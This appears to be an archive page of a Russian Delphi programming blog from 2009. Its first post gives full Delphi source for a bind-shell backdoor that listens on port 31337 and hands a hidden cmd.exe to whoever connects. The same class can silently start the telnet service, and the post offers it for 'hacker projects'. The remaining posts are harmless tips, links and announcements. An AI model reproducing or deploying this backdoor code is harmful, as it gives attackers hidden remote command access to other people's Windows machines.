DevProg: Блог для программистов

Секреты программирования. Примеры разработки. Обзоры программёрского софта, блогов и форумов и просто полезные советы!

Архив рубрики ‘Delphi’

Класс для открытия шелла с перенаправлением I/O

Опубликовал devprog на Май 22, 2009

Вот уже давно ничего не писал, пора исправлять ситуэйшн. Скажу сразу – мой первый класс в Delphi. Вроде б работает, но хрен его знает чё туды ещё мона прикрутить )) Может вы знаете?

unit xnShellWorks;

interface
uses Windows;

const
  AF_INET     = 2;
  PF_INET     = AF_INET;
  SOCK_STREAM = 1;
  IPPROTO_TCP = 6;
  IPPROTO_PUP = 12;
  IPPROTO_UDP = 17;
  IPPROTO_IDP = 22;
  IPPROTO_ND  = 77;
  IPPROTO_RAW = 255;
  IPPROTO_MAX = 256;
  START_PROCESS_INFO = STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;
  null = nil;
  INVALID_SOCKET = not 0;

//==============================================================================
// Структуры начало
//==============================================================================
type
  S_UN_B = packed record
    s_b1 : BYTE;
    s_b2 : BYTE;
    s_b3 : BYTE;
    s_b4 : BYTE;
  end;

  S_UN_W = packed record
    s_w1 : WORD;
    s_w2 : WORD;
  end;

  T_ADDRESS_UNION = packed record
    S_un_b : S_UN_B;
    S_un_w : S_UN_W;
    S_addr : DWORD;
  end;

  T_WSA_DATA = packed record
    wVersion       :   Word;
    wHighVersion   :   Word;
    szDescription  :   array[0..256] of byte;
    szSystemStatus :   array[0..128] of byte;
    iMaxSockets    :   Word;
    iMaxUdpDg      :   Word;
    lpVendorInfo   :   Dword;
  end;

  Tin_addr = packed record
    S_un           :   T_ADDRESS_UNION;
  end;

  TSockAddr_In = packed record
    sin_family     :   Word;
    sin_port       :   Word;
    sin_addr       :   Tin_addr;
    sin_zero       :   array[0..13] of byte;
  end;
//==============================================================================
// Структуры конец
//==============================================================================

type
  xnShell = class (TObject)
  public
    constructor Create;
    destructor Destroy; override;
    procedure SetShellPort(PortNumber:SmallInt);
    procedure BindShell(SockHandle:DWORD);
    procedure ListenShell(SockHandle:DWORD);
    procedure StartTelnetService(Flag:boolean);
    function  AcceptShell(SockHandle:DWORD):DWORD;
    function  CreateShell(ShellName:string;OutHandle:DWORD):BOOL;
    function  StartUp():DWORD;
  private
    FPort:WORD;
    FSocket:DWORD;
    WSAData:T_WSA_DATA;
    FSockAddIn:TSockAddr_In;
    st_info:TStartupInfo;
    pt_info:TProcessInformation;

end;

//==============================================================================

function  WSASocket(af,wType,Protocol:Integer;lpProtocolInfo:Pointer;g,dwFlags:Cardinal):Integer;stdcall; external ‘ws2_32.dll’ name ‘WSASocketA’;
function  htons(pt:DWORD):DWORD;stdcall;external ‘ws2_32.dll’ name ‘htons’;
function  accept(SockHandle:DWORD;pt:Pointer;sz:DWORD):DWORD;stdcall;external ‘ws2_32.dll’ name ‘accept’;
procedure WSAStartup(wVersionRequired:Integer;lpWSADATA:Pointer);stdcall;external ‘ws2_32.dll’ name ‘WSAStartup’;
procedure bind(SockHandle:DWORD;lpSIN:Pointer;SINSize:DWORD);stdcall;external ‘ws2_32.dll’ name ‘bind’;
procedure listen(SockHandle:DWORD;Backlog:DWORD);stdcall;external ‘ws2_32.dll’ name ‘listen’;

{==============================================================================}
implementation

{ xnShell }

//==============================================================================
// Constructor
//==============================================================================
constructor xnShell.Create;
begin
  inherited Create;
  FPort:=0;
end;

//==============================================================================
// Destructor
//==============================================================================
destructor xnShell.Destroy;
begin
  ZeroMemory(@WSAData,SizeOf(WSAData)); // clean all str
  ZeroMemory(@FSockAddin,SizeOf(WSAData));
  inherited Destroy;
end;

{——————————————————————————-
  Procedure: xnShell.SetShellPort
  Author:    Robo
  DateTime:  2009.04.24
  Arguments: PortNumber: SmallInt – номер открываемого порта
  Result:    None
——————————————————————————-}
procedure xnShell.SetShellPort(PortNumber: SmallInt);
begin
  FPort:=PortNumber;
end;

{——————————————————————————-
  Procedure: xnShell.StartUp
  Author:    Robo
  DateTime:  2009.04.24
  Arguments: None
  Result:    DWORD – хендл открытого сокета
——————————————————————————-}
function xnShell.StartUp: DWORD;
begin
if FPort <> 0 then
 begin
  WSAStartup($0202,@WSAData);  // Activate ws2_32.dll
  FSocket:=WSASocket(PF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
  FSockAddIn.sin_family:=AF_INET;
  FSockAddIn.sin_port:=htons(FPort);
  result:=FSocket;
 end
else
 begin
 Result:=$0;
 end;
end;

{——————————————————————————-
  Procedure: xnShell.BindShell
  Author:    Robo
  DateTime:  2009.04.24
  Arguments: SockHandle: DWORD  – хендл сокета для бинда (результат StartUp)
  Result:    None
——————————————————————————-}
procedure xnShell.BindShell(SockHandle: DWORD);
begin
bind(SockHandle,@FSockAddIn,16);
end;

{——————————————————————————-
  Procedure: xnShell.ListenShell
  Author:    robo
  DateTime:  2009.04.24
  Arguments: SockHandle: DWORD – хендл сокета для listen (результат StartUp)
  Result:    None
——————————————————————————-}
procedure xnShell.ListenShell(SockHandle: DWORD);
begin
  listen(SockHandle,0);
end;

{——————————————————————————-
  Procedure: xnShell.AcceptShell
  Author:    Администратор
  DateTime:  2009.04.27
  Arguments: SockHandle: DWORD
  Result:    DWORD
——————————————————————————-}
function xnShell.AcceptShell(SockHandle: DWORD):DWORD;
begin
  result:=accept(SockHandle,NULL,0);
end;

{——————————————————————————-
  Procedure: xnShell.CreateShell
  Author:    Администратор
  DateTime:  2009.04.27
  Arguments: ShellName: string;OutHandle:DWORD
  Result:    BOOL
——————————————————————————-}
function xnShell.CreateShell(ShellName: string;OutHandle:DWORD): BOOL;
var reslt:BOOL;
begin
 ZeroMemory(@st_info,SizeOf(st_info));
 st_info.cb := SizeOf(st_info);
 st_info.wShowWindow := 0; // SW_HIDE
 st_info.dwFlags := START_PROCESS_INFO;
 st_info.hStdError  := OutHandle;
 st_info.hStdOutput := OutHandle;
 st_info.hStdInput  := OutHandle;
 reslt:=CreateProcess(NULL,PChar(ShellName),NULL,NULL,True,0,NULL,NULL,st_info,pt_info);
 CloseHandle(OutHandle);
 CloseHandle(pt_info.hThread);
 CloseHandle(pt_info.hProcess);
 if reslt <> false then result:=false else Result := true;
end;

{——————————————————————————-
  Procedure: xnShell.StartTelnetService
  Author:    Администратор
  DateTime:  2009.04.27
  Arguments: None
  Result:    None
——————————————————————————-}
procedure xnShell.StartTelnetService(Flag:Boolean);
begin
 ZeroMemory(@st_info,SizeOf(st_info));
 st_info.cb := SizeOf(st_info);
 st_info.wShowWindow := 0; // SW_HIDE
 st_info.dwFlags := START_PROCESS_INFO;
 if Flag = True then
 CreateProcess(null,PChar(‘net start telnet’),NULL,NULL,True,0,NULL,NULL,st_info,pt_info)
 else
 CreateProcess(null,PChar(‘net stop telnet’),NULL,NULL,True,0,NULL,NULL,st_info,pt_info)
end;

end.

А вот как это дело можно юзать в своих хеккерских проектах:

program shellset;

uses xnShellWorks;
type
 DWORD = Cardinal;
var
  Shell:xnShell;
  handle:DWORD;
  SHandle:DWORD;
begin
  Shell:=xnShell.Create;
  Shell.SetShellPort(31337);
  handle:=Shell.StartUp;
  Shell.BindShell(handle);
  Shell.ListenShell(handle);
  while true do
   begin
    sHandle := Shell.AcceptShell(handle);
    if SHandle <> INVALID_SOCKET then
     begin
      Shell.CreateShell(‘cmd.exe’,sHandle);
     end;
    end;
end.

 

 Подписаться на посты через RSS
 Подписаться на комментарии через RSS

 

Рубрика: Delphi | Комментарии (3) »

Как скопировать каждый элемент чужого ListBox в свой ListBox ?

Опубликовал devprog на Февраль 4, 2009

Вот небольшой пример на чистом WinAPI, показывающий то, как этого можно достичь:

procedure TForm1.Button1Click(Sender: TObject);
var
h:DWORD;
i,k:integer;
buffer:array [0..20] of char;
begin
h:=FindWindow(nil,’WTF??? Катлета!’); // Ищем главное окно
 h:=FindWindowEx(h,0,’TListBox’,nil); // ищем дочернее окно класса TListBox
  i:=SendMessage(h,LB_GETCOUNT,0,0); //берём колво элементов
   for k:=0 to i-1 do begin //цикл от 0 до колва элементов
    SendMessage(h,LB_GETTEXT,k,integer(@buffer)); // берём текст ячейки
    ListBox1.Items.Add(string(buffer)); // кладём его в свой ListBox
   end
end;

В данном примере, класс, который мы ищем среди дочерних окон – называется TListBox. В вашем случае, класс может называться подругому. Класс можно посмотреть такими программами как SPYXX.EXE из пакеты Visual Studio или программой Sign of Misery от CyberManiac.

Прилагаю исходные коды: lb.rar

Рубрика: Delphi, Новичку | Оставьте комментарий »

DelphiWorld, World C++, World C#, ASM World – качаем громадные архивы статей.

Опубликовал devprog на Февраль 4, 2009

Справочники очень большие и качественные. Содержат множество статей по программированию на языках ассемблера, Delphi, С++, С#.

ASM World – сборник статей по ассемблеру

World C++ – статьи и исхлдники по C и C++

C# World – русские и английские статьи по C#

DelphiWorld – статьи и исходники по Delphi

Рубрика: Delphi, Ассемблер, С и С++ | Оставьте комментарий »

Узелок впрок! Как запустить Delphi 7 на Windows Vista!

Опубликовал devprog на Февраль 4, 2009

Для этого нужно скачать официальное исправление от Microsoft – KB947562. Данный патч предназначен для систем:

 Windows Vista x86/x64

 Windows Server 2008 x86/x64

Скачать исправление можно по этой ссылке: http://support.microsoft.com/kb/947562

Как запустить справку от Delphi 7 на Windows Vista?

Справка для Delphi 7 была разработана на устаревшей системе справки WinHlp32.exe. Для успешного использования оной – скачайте и установите следующее исправление:

http://support.microsoft.com/kb/917607

Рубрика: Delphi, Узелок впрок | Оставьте комментарий »

Узелок впрок! Delphi Speed Up – на скорости…

Опубликовал devprog на Февраль 3, 2009

Delphi Speed Up

Delphi Speed Up, позволяет ускорить загрузку и работу Delphi IDE, путём замены стандартных RTL функций на полностью идентичные из проекта FastCode. Новые версии этого пакета выходят постоянно, что говорит об его авторе с очень хорошей стороны.

Delphi Speed Up очень пригодится владельцам слабых машин. Пакет поддерживает все версии Delphi и Borland C++ Builder после 5 версии (5 включительно). Скачать Delphi Speed Up можно с сайта автора программы.

Tags: , , ,

Рубрика: Delphi | Оставьте комментарий »

Школа программирования на Delphi для новичков

Опубликовал devprog на Январь 31, 2009

Привет. Рад видеть тебя снова на блоге для программистов. Итак, сначала несколько новостей:

1) К нашей комманде присоеденился новый автор – Tevton. Отличный человек, специалист по БД и по языкам программирования. Автор множества статей по программированию и просто хороший человек, который готов помочь по мере своих возможностей.

2) Решено было открыть школу начинающих программистов на языке Delphi. Пока составляется план уроков и выбирается стиль повествования, вы можете подписаться на RSS новости, чтобы получать новые записи блога незамедлительно. Так же, вы можете получать RSS ленту на почту.

Рубрика: Delphi, Новичку | Оставьте комментарий »

Новые поступления в Библиотеку для программистов!

Опубликовал devprog на Январь 29, 2009

В Библиотеке для программистов новые книги!

Императивное программирование и ООП на Turbo Pascal и Delphi
Delphi - Быстрый старт
Советы по Delphi 1000 (Kuliba)
Введение в DELPHI

Всё это, и не только, вы сможете найти в разделе «Библиотека Программиста«

Рубрика: Delphi | Оставьте комментарий »